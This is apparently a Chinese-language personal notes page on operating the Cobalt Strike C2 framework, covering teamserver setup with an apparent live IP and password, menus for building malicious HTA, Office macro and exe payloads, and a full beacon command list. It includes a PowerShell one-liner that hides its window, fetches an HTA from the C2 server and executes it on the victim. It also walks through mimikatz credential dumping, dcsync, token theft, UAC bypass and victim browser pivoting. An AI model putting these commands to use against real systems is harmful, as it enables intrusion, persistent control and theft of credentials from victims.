背景

由于活很杂,CS这种在实战中用的断断续续的,这里进行简单的记录。

安装

Cobalt Strike需要Oracle Java 1.8,Oracle Java 11或OpenJDK 11的环境(看版本)。

服务器端

进入文件夹(VPS记得设置好出网策略),在执行前使用nohup或者screen来保持后台运行:

1
2
chmod 777 teamserver                # 权限设置 
./teamserver 121.36.140.230 jljcxy #./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]

客户端

win版本运行exe,其他版本:

1
2
chmod 777 cobaltstrike                # 权限设置 
./cobaltstrike

看到如下界面运行成功:

image

功能介绍

在上图工具栏目中,简单介绍响应的功能

Cobalt Strike

显示CS的主要功能

选项 用途
New Connection 新建连接,支持连接多个服务器端(防止一窝端)
Preferences 界面,报告,连接等等设置
Visualization 展示界面方式,和目标列表
VPN Interface VPN接口
Listenrs 监听设置
Script Manager 脚本管理(ggressorScripts语言,扩展插件)
Close 关闭 |

View

显示常用的CS视图功能

选项 用途
Applications 显示主机信息
Preferences 显示所有以获取的受害主机的凭证
Downloads 查看下载文件
Event Log 查看登陆日志
Keystrokes 查看键盘记录结果
Proxy Pivots 查看代理模块
Screenshots 查看截屏
Script Console 加载第三方脚本以增强功能
Targets 显示所有受害主机
Web Log 所有Web服务的日志

Attacks

用于攻击

Packages

生成攻击文件

选项 用途
HTML Application 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件
MS Office Macro 生成office宏病毒文件
Payload Generator 生成各种语言版本的payload
Windows Executable 生成可执行exe木马
Windows Executable(Stageless) 生成无状态的可执行exe木马

什么是hta(HTML Application)

hta就是一个HTML应用程序(HTML Application),只要你双击就能运行.在设置好hta文件路径后,在受害机执行如下代码:

1
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://121.36.140.230:81/shell/shell.hta'))"
Web Drive-b

在web服务端进行一系列的应用设置

选项 用途
Manage 对开启的web服务进行管理
Clone Site 克隆网站,可以记录受害者提交的数据
Host File 快速提供文件下载,可以选择Mime类型
Scripted Web Delivery 为payload提供web服务以便下载和执行
Signed Applet Attack 使用java自签名的程序进行钓鱼攻击
Smart Applet Attack 自动检测java版本并进行攻击
System Profiler 构建web服务来获取HTTP头等信息

Reporting

进行相关汇报。

选项 用途
Activity Report 活动报告
Hosts Report 主机报告
Indicators of Compromise IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes
Sessions Report 会话报告
Social Engineering Report 社会工程报告:包括鱼叉钓鱼邮件及点击记录
Tactics, Techniques, and Procedures 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略
Reset Data 重置数据
Export Data 导出数据,导出.tsv文件格式

工具图像栏目

image

使用案例

开启监听

开启监听总共有以下几种模式(Cobalt Strike -> Listeners->Add):

1
2
3
4
5
6
7
8
Beacon HTTP
Beacon DNS
Beacon TCP
Beacon HTTPS
Beacon SMB
Beacon C2
Foreigin HTTP
Foreigin HTTPS

在选择相应的传输模式后,在进行详细设置。

生成木马

在开启监听后,选择自己要生成的木马类型(Attacks->Packages),选择开启的监听端口,生成木马,其中文件形式直接在受害机器运行就好,使用mshta.exe执行应当提前在目录进行设置evil.hta路径。执行命令如下:

肉鸡操作

interact

使用命令交互,常见交互命令如下:

1
2
3
4
5
6
7
8
sleep x     						#调整返回时间,默认60s
pwd #查看当钱目录
help #命令说明
shell xxx #执行xxx命令 例子 shell whoami
run whoami /groups # 查看用户组
runasadmin #在高权限下执行程序 (查看提权方式)
logonpasswords #使用mimikatz转储凭据和哈希值
screenshot #屏幕截图

全部命令如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89

Command Description
------- -----------
argue 进程参数欺骗
blockdlls 在子进程中阻止非Microsoft的DLLs文件
browserpivot 注入受害者浏览器进程
bypassuac 绕过UAC
cancel 取消正在进行的下载
cd 切换目录
checkin 强制让被控端回连一次
clear 清除beacon内部的任务队列
connect 通过TCP连接到Beacon
covertvpn 部署Covert VPN客户端
cp 复制文件
dcsync 从DC中提取密码哈希
desktop 远程VNC
dllinject 反射DLL注入进程
dllload 使用LoadLibrary将DLL加载到进程中
download 下载文件
downloads 列出正在进行的文件下载
drives 列出目标盘符
elevate 尝试提权
execute 在目标上执行程序(无输出)
execute-assembly 在目标上内存中执行本地.NET程序
exit 退出beacon
getprivs 对当前令牌启用系统权限
getsystem 尝试获取SYSTEM权限
getuid 获取用户ID
hashdump 转储密码哈希值
help 帮助
inject 在特定进程中生成会话
jobkill 杀死一个后台任务
jobs 列出后台任务
kerberos_ccache_use 从ccache文件中导入票据应用于此会话
kerberos_ticket_purge 清除当前会话的票据
kerberos_ticket_use 从ticket文件中导入票据应用于此会话
keylogger 键盘记录
kill 结束进程
link 通过命名管道连接到Beacon
logonpasswords 使用mimikatz转储凭据和哈希值
ls 列出文件
make_token 创建令牌以传递凭据
mimikatz 运行mimikatz
mkdir 创建一个目录
mode dns 使用DNS A作为通信通道(仅限DNS beacon)
mode dns-txt 使用DNS TXT作为通信通道(仅限D beacon)
mode dns6 使用DNS AAAA作为通信通道(仅限DNS beacon)
mode http 使用HTTP作为通信通道
mv 移动文件
net net命令
note 给当前目标机器备注
portscan 进行端口扫描
powerpick 通过Unmanaged PowerShell执行命令
powershell 通过powershell.exe执行命令
powershell-import 导入powershell脚本
ppid 为生成的post-ex任务设置父PID
ps 显示进程列表
psexec 使用服务在主机上生成会话
psexec_psh 使用PowerShell在主机上生成会话
psinject 在特定进程中执行PowerShell命令
pth 使用Mimikatz进行传递哈希
pwd 当前目录位置
reg 查询注册表
rev2self 恢复原始令牌
rm 删除文件或文件夹
rportfwd 端口转发
run 在目标上执行程序(返回输出)
runas 以另一个用户权限执行程序
runu 在另一个PID下执行程序
setenv 设置环境变量
shell cmd执行命令
shinject 将shellcode注入进程
shspawn 生成进程并将shellcode注入其中
sleep 设置睡眠延迟时间
socks 启动SOCKS4代理
socks stop 停止SOCKS4
spawn 生成一个会话
spawnas 以其他用户身份生成会话
spawnto 将可执行程序注入进程
spawnu 在另一个PID下生成会话
ssh 使用ssh连接远程主机
ssh-key 使用密钥连接远程主机
steal_token 从进程中窃取令牌
timestomp 将一个文件时间戳应用到另一个文件
unlink 断开与Beacon的连接
upload 上传文件
wdigest 使用mimikatz转储明文凭据
winrm 使用WinRM在主机上生成会话
wmi 使用WMI在主机上生成会话

Access

提供受害机器相关数据,为接下来的横向移动做准备。

选项 用途
Dump Hashes 下载主机哈希密码(需要管理员权限)
Elevate 提权?
Golden Ticket 黄金票据
Make Token 制作令牌?
One-liner 进行提权使用 runasadmin
run mimikatz 运行 mimikatz
Spawn As 新建账号并进行监听

Explore

探索

选项 用途
Browser Pivot 进行浏览器注入代理 (使用受害者浏览器)
Destop(VNC) 桌面连接(未实践)
File Browser 打开文件管理界面(进行上传下载操作)
Net View 查看网络
Port Scan 端口扫描
Process List 查看进程列表
Screenshot 截屏,在view->screenshot可见

关于Browser Pivot代理

在执行命令成功后,获得代理IP端口,执行以下命令进行代理(CS 主机上面):

1
chromium --on-sandbox --ignore-certificate-errors --proxy-server=127.0.0.1:9000   # 之后浏览器访问直接使用受害者浏览器

Pivoting

用于常见的代理选项。

选项 用途
SOCKS Server 使用SOCKS Server 进行代理
Listener… 在受害机上进行监听(跳板)
Deploy VPN 使用VPN代理

Spawn

Spawn新建账号进行监听活动

Session

选项 用途
Note 对受害机进行笔记标注
Color 对受害机进行颜色标注
Remove 从列表中移除受害机器
Exit Exit退出

参考资料

A-Team
关于注入进程